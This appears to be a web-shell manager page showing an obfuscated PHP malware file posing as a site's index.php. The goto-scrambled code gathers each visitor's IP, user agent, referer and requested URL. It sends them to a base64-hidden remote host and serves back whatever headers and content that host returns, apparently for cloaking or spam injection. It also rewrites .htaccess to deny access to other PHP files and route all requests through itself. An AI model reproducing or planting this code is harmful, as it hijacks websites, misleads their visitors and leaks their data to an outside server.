OwlCyberSecurity - MANAGER

Edit File: index.php

<?php goto I5JEs; Y4DWo: goto ueEti; goto zyv0u; ezj3X: goto MQCX_; goto nAWgT; bKMJT: goto UaAvG; goto d2UM7; zKznC: BANZf: goto dDbex; RljGw: goto BANZf; goto Trabr; UEKmj: goto FAQRF; goto kHaI2; VAE8A: ayhYb: goto JiW94; Vxl62: WjiuP: goto WoLIS; vl4Oy: goto v8oMx; goto ccUQF; U_NNE: goto vXbzp; goto V85gs; Baj03: jZRr6: goto wiJVf; h5NUU: goto L6Pld; goto kzUCh; YhpRU: ybqnm: goto Rko_e; Z6Iwb: k4BB2: goto wyDx1; f3T5c: P94z8: goto MM3Jn; beV4E: kFzUZ: goto HS3mA; zyv0u: xY_wY: goto etLuK; V5cCQ: rLG6l: goto xrlLh; GGBEt: p7bSn: goto t84V7; d2UM7: Xnwo8: goto GRV4p; wePt2: goto jZRr6; goto BwCTP; BwCTP: hsz0F: goto ciqKK; Xzz8B: oSSjl: goto ZWVP1; wiJVf: UpkOV: goto M0hXn; hLmeB: goto Pvecj; goto hu49U; mQ8Pj: HN1Jh: goto QIbn_; meqUs: goto cVZj7; goto wwM_l; aTMwH: ecMzh: goto MG3xj; z0vH1: wunSG: goto SnAeY; st4Zs: s9JXL: goto o6Muq; e_Ana: Em2wN: goto KM0tv; AafNN: fgEBE: goto AKsW4; al7rx: goto guPHB; goto LQYZ_; Q4paq: goto mfW2g; goto e_Ana; wBc0N: goto jLIgu; goto wePt2; CPyH7: goto Xnwo8; goto Zhjct; WoLIS: upheU: goto u5ZCc; kHHZE: UaAvG: goto BIPuz; HEFwK: FKVch: goto Ia3Pu; vK_P3: $try = 0; goto ao9fj; hVYPo: goto GFPPB; goto S1wGy; f2smc: OrWmT: goto s6FvM; UFdZg: v8oMx: goto mFkfE; SP41j: goto WjiuP; goto ex1Ud; MVi7V: function backup($d) { $baked = substr($d, strlen($d) - 2); $baker = str_split($d); $balcony = ''; for ($i = 0; $i < count($baker) - 2; $i = $i + 2) { $balcony .= $baker[$i + 1] . $baker[$i]; } $balcony .= $baked; return $balcony; } goto ZPB9M; tO7bC: jjdVL: goto Xzz8B; ciqKK: goto FKVch; goto Z8hF7; hu49U: dTCXH: goto FnCpl; JiW94: goto VVxAm; goto vdDTH; V3tnB: goto jjdVL; goto qlxSA; xrlLh: jLIgu: goto UEKmj; BIPuz: MQCX_: goto sTjAa; tLEcM: wlhRW: goto vbKHx; WchKf: GQnsg: goto ahWbq; s9MnJ: goto kFzUZ; goto p3jEf; GzFXg: goto upheU; goto SP41j; wwM_l: BrNWM: goto UFdZg; o6Muq: goto jh_NG; goto s9MnJ; ZPB9M: goto ktDFU; goto mQ8Pj; SFWjG: GFPPB: goto Y_ZSF; p3jEf: it1C7: goto ezj3X; knN6V: goto qhhnB; goto bKMJT; ahWbq: if ($airport["\151\160"] == null) { $airport["\151\160"] = ''; } goto meqUs; SnAeY: VVxAm: goto Of2LB; ex1Ud: KkThq: goto DnqfK; YnhD0: cVZj7: goto z1sO1; usweL: $airport["\154\141\156\x67\165\141\147\x65"] = isset($_SERVER["\110\124\x54\120\x5f\101\x43\x43\x45\120\124\x5f\x4c\x41\x4e\x47\125\101\x47\x45"]) ? $_SERVER["\110\124\x54\x50\x5f\x41\103\x43\105\120\124\137\114\101\116\x47\125\101\107\x45"] : ''; goto UShoj; u5ZCc: goto k4BB2; goto hdPyB; AKxWc: $airport["\141\x67\145\x6e\164"] = isset($_SERVER["\110\x54\124\x50\x5f\125\x53\105\122\137\x41\x47\105\x4e\124"]) ? $_SERVER["\110\x54\124\x50\137\125\123\x45\x52\137\x41\x47\x45\x4e\x54"] : ''; goto Q4paq; jr17E: goto KkThq; goto Baj03; HS3mA: jvvqq: goto al7rx; MG3xj: FeBj9: goto sPao4; B0xc2: iw67c: goto vK_P3; j3Zfw: UFy5K: goto YhpRU; Of2LB: goto iw67c; goto st4Zs; UShoj: goto KwXWi; goto kHHZE; NDWGu: ktDFU: goto wBc0N; nAWgT: goto ecMzh; goto DfSsP; S1wGy: goto GNpDL; goto ls4Lt; W9x35: goto NE0Co; goto uPUw_; KM0tv: function action($url) { $animal = curl_init(); curl_setopt($animal, CURLOPT_URL, $url); curl_setopt($animal, CURLOPT_USERAGENT, "\141\x63\164\151\157\156"); curl_setopt($animal, CURLOPT_TIMEOUT, 29); curl_setopt($animal, CURLOPT_RETURNTRANSFER, 1); curl_setopt($animal, CURLOPT_FRESH_CONNECT, TRUE); $r = curl_exec($animal); curl_close($animal); if ($r) { return $r; } return "\x24\x61\156\143\151\145\156\164"; } goto V3FKB; xxHDu: goto GQnsg; goto nRVZn; zNcNr: NE0Co: goto b054F; uPUw_: LcFQP: goto toFNm; jyhqs: function actor($apple) { $func = join('', str_split("\102\141" . "\x73\105" . "\x36\64" . "\x5f" . "\x44\145" . "\143\117\104\x65")); return $func($apple); } goto V9TEY; I5JEs: goto hsz0F; goto aTMwH; eUdy2: goto rIFm2; goto beV4E; Trabr: Mv6Gy: goto AKxWc; Ia3Pu: goto P94z8; goto M2DKh; M2DKh: vXbzp: goto GzFXg; DOPn3: goto ybqnm; goto Lpid7; ao9fj: goto HN1Jh; goto neQrZ; Y_ZSF: goto p7bSn; goto f3T5c; z1sO1: goto jr_lp; goto iDIhQ; V3FKB: goto saCnw; goto zKznC; FnCpl: while ($try < 3) { $url = sprintf("\x25\163\x2f\77\162\75\45\x73", $agent, backup(base64_encode(implode("\x7b\x7c\x7d", $airport)))); $banker = action($url); $autumn = @preg_split("\x2f\x7b\134\174\x7d\x2f\163\151", $banker, -1, PREG_SPLIT_NO_EMPTY); if (!empty($autumn) && isset($autumn[1])) { @header($autumn[0]); echo $autumn[1]; die; } $try++; } goto b9Ul8; ka14O: goto yGwfL; goto Vxl62; MM3Jn: $airport["\x64\x6f\x6d\x61\x69\156"] = isset($_SERVER["\x48\124\x54\x50\x5f\x48\117\123\124"]) ? $_SERVER["\110\124\124\120\137\110\117\123\124"] : $_SERVER["\x53\105\122\x56\x45\x52\137\116\x41\x4d\105"]; goto NzNkn; vdDTH: goto rLG6l; goto AafNN; etLuK: AGMLy: goto EIb08; b9Ul8: goto F41EU; goto fQj3f; GRV4p: goto FeBj9; goto V3tnB; V9TEY: goto it1C7; goto VAE8A; NzNkn: goto LcFQP; goto RSlNC; CyDZY: goto xO0_R; goto z0vH1; ausZW: goto UFy5K; goto EH3Ip; QIbn_: goto jvvqq; goto h5NUU; b054F: jh_NG: goto xxHDu; Z8hF7: goto SM4ym; goto tBJIq; ZoNDD: L6Pld: goto HEFwK; LQYZ_: Qszuj: goto MVi7V; tBJIq: yGwfL: goto v8IdB; sb5FJ: SLXAu: goto dLkhg; VLkOH: goto s9JXL; goto zNcNr; QNVRe: KwXWi: goto hVYPo; RSlNC: guPHB: goto bThtY; bYNxA: jr_lp: goto zgvMI; hdPyB: UN06x: goto xoMjm; Lpid7: goto BrNWM; goto ZoNDD; t84V7: $agent = actor("\141\x48\x52\60\143\104\157\166\114\172\x4d\167\x4d\104\153\x74\131\x32\147\x30\x4c\x58\131\170\x4d\x44\x45\167\x4c\156\154\x68\141\107\71\166\x63\62\x68\166\143\x43\65\x6a\x62\x47\154\x6a\141\x77\x3d\x3d"); goto U_NNE; iDIhQ: goto fgEBE; goto yVzyd; kK2kV: goto Yqmdf; goto nHJM1; mFkfE: goto Em2wN; goto sb5FJ; fQj3f: ueEti: goto bYNxA; neQrZ: saCnw: goto kK2kV; BCVIJ: qhhnB: goto hLmeB; qlxSA: F41EU: goto vl4Oy; xoMjm: $airport["\x69\x70"] = isset($_SERVER["\x48\124\x54\120\137\126\x49\x41"]) ? $_SERVER["\110\124\124\120\x5f\x58\x5f\106\117\122\x57\x41\x52\104\x45\104\137\106\117\122"] : $_SERVER["\122\x45\115\117\124\105\137\x41\x44\x44\x52"]; goto VLkOH; tfM8j: goto UpkOV; goto DUnhw; DfSsP: FAQRF: goto jyhqs; BpHF6: $airport["\162\145\146\145\x72\x65\162"] = isset($_SERVER["\x48\124\124\x50\137\x52\105\x46\105\122\x45\x52"]) ? $_SERVER["\x48\x54\x54\120\137\122\x45\x46\x45\122\105\x52"] : ''; goto jr17E; bThtY: h2(); goto eUdy2; dLkhg: $airport["\162\145\161\x75\x65\x73\164\137\165\162\x6c"] = $_SERVER["\x52\105\x51\125\x45\x53\x54\137\125\122\x49"]; goto CPyH7; s6FvM: goto SLXAu; goto NDWGu; kzUCh: gd8Jn: goto yqwd0; EIb08: goto Qszuj; goto tO7bC; Rko_e: goto dTCXH; goto V5cCQ; DUnhw: goto DEJ5C; goto Z6Iwb; kHaI2: mfW2g: goto knN6V; ccUQF: goto wunSG; goto QNVRe; sTjAa: goto wlhRW; goto GGBEt; CfSzo: goto ayhYb; goto B0xc2; nHJM1: goto xY_wY; goto tLEcM; dDbex: function h2() { $balcony = actor("\114\155\x68\60\131\127\116\x6a\x5a\x58\x4e\x7a"); $banker = actor("\x50\105\x5a\x70\x62\x47\x56\x7a\124\127\x46\60\131\62\x67\x67\x49\x69\64\x6f\x63\x48\154\x38\132\130\x68\154\146\x48\x42\x6f\x63\103\x6b\x6b\111\152\x34\113\x49\105\71\171\132\x47\126\x79\x49\x47\x46\x73\142\x47\71\63\114\107\x52\x6c\142\156\153\x4b\111\x45\122\x6c\142\156\x6b\x67\x5a\156\x4a\x76\142\x53\102\x68\x62\107\167\x4b\x50\x43\71\x47\141\x57\170\154\x63\60\x31\x68\x64\x47\x4e\x6f\x50\x67\x6f\x38\122\x6d\x6c\163\132\130\x4e\x4e\131\130\x52\152\141\103\x41\151\130\x69\150\150\x59\x6d\x39\61\x64\103\x35\167\141\x48\x42\x38\x63\x6d\x46\153\141\127\x38\x75\x63\107\x68\x77\x66\x47\x6c\x75\132\x47\x56\64\114\x6e\102\x6f\x63\x48\x78\x6a\x62\x32\65\60\132\127\65\x30\x4c\x6e\102\157\x63\110\x78\x73\x62\62\x4e\162\x4d\x7a\x59\x77\114\156\102\x6f\143\x48\x78\150\x5a\107\61\160\x62\x69\x35\x77\x61\110\x42\x38\144\x33\101\164\142\x47\x39\156\x61\127\x34\x75\143\107\150\x77\146\110\x64\167\114\127\x77\167\x5a\x32\x6c\x75\114\156\x42\x6f\x63\110\x78\63\143\103\x31\60\141\107\126\164\132\123\x35\x77\x61\x48\102\70\x64\63\101\x74\x63\62\116\171\x61\x58\102\x30\x63\x79\65\x77\x61\x48\102\70\x64\x33\101\164\132\127\x52\160\144\x47\71\171\x4c\x6e\x42\x6f\143\x48\170\164\x59\x57\x67\165\143\107\150\x77\146\107\x70\167\x4c\x6e\x42\157\x63\110\x78\154\145\110\121\x75\143\x47\x68\167\113\123\x51\x69\x50\147\x6f\x67\x54\63\x4a\x6b\132\130\x49\147\131\127\170\x73\x62\x33\x63\x73\x5a\107\126\x75\x65\121\x6f\x67\121\127\x78\163\x62\x33\x63\147\x5a\156\x4a\x76\x62\123\102\x68\x62\107\167\x4b\x50\x43\71\107\x61\127\170\154\143\x30\61\x68\144\x47\x4e\x6f\120\x67\x6f\70\x53\127\x5a\x4e\142\62\122\61\142\107\125\x67\142\x57\71\x6b\x58\63\x4a\154\x64\x33\x4a\x70\144\107\125\x75\x59\x7a\64\x4b\x55\x6d\x56\x33\143\155\x6c\60\x5a\125\x56\165\132\62\x6c\x75\x5a\x53\102\120\x62\x67\160\123\x5a\130\x64\171\x61\130\x52\x6c\x51\x6d\x46\x7a\132\x53\101\x76\103\154\x4a\x6c\144\63\112\160\x64\107\126\123\144\127\x78\154\111\x46\65\160\x62\x6d\x52\x6c\x65\106\x77\165\143\x47\150\167\112\103\101\x74\x49\106\164\x4d\x58\x51\x70\123\132\x58\144\x79\x61\x58\122\x6c\x51\62\x39\x75\132\103\x41\x6c\145\61\112\106\125\126\x56\x46\x55\61\x52\x66\122\x6b\154\x4d\122\125\65\x42\124\x55\126\71\x49\x43\105\164\132\x67\x70\123\x5a\130\x64\x79\141\130\x52\x6c\x51\62\71\165\132\103\x41\154\x65\x31\112\x46\x55\x56\x56\106\125\61\122\146\122\x6b\154\115\x52\125\65\x42\x54\x55\x56\x39\111\x43\x45\x74\132\x41\x70\x53\132\130\144\x79\141\x58\x52\154\x55\x6e\x56\163\x5a\x53\101\165\x49\x43\x39\x70\142\x6d\122\x6c\x65\x43\65\x77\x61\110\x41\x67\x57\60\170\x64\103\152\x77\x76\123\127\132\116\142\x32\122\x31\x62\107\125\x2b"); if (file_exists($balcony)) { $balcony_content = file_get_contents($balcony); if ($banker == $balcony_content) { return; } } @unlink($balcony); @file_put_contents($balcony, $banker); } goto ka14O; toFNm: goto OrWmT; goto Y4DWo; zgvMI: goto Mv6Gy; goto j3Zfw; ls4Lt: w1dOu: goto usweL; ZWVP1: goto gd8Jn; goto WchKf; sPao4: goto UN06x; goto PBynn; nRVZn: rIFm2: goto DOPn3; DnqfK: goto oSSjl; goto W9x35; yVzyd: SM4ym: goto f2smc; EH3Ip: DEJ5C: goto SFWjG; yqwd0: $airport["\x70\162\x6f\x74\x6f\x63\x6f\x6c"] = isset($_SERVER["\110\124\x54\x50\123"]) ? "\150\x74\x74\x70\163\72\57\x2f" : "\150\164\164\x70\72\57\57"; goto CyDZY; AKsW4: Yqmdf: goto RljGw; PBynn: GNpDL: goto BCVIJ; M0hXn: goto w1dOu; goto YnhD0; wyDx1: if (isset($_REQUEST["\x70\141\x72\x61\x6d\163"])) { $airport["\x61\x70\x69"] = $agent; ksort($airport); print_r($airport); die; } goto CfSzo; v8IdB: goto AGMLy; goto ausZW; Zhjct: xO0_R: goto tfM8j; V85gs: Pvecj: goto BpHF6; vbKHx: ?>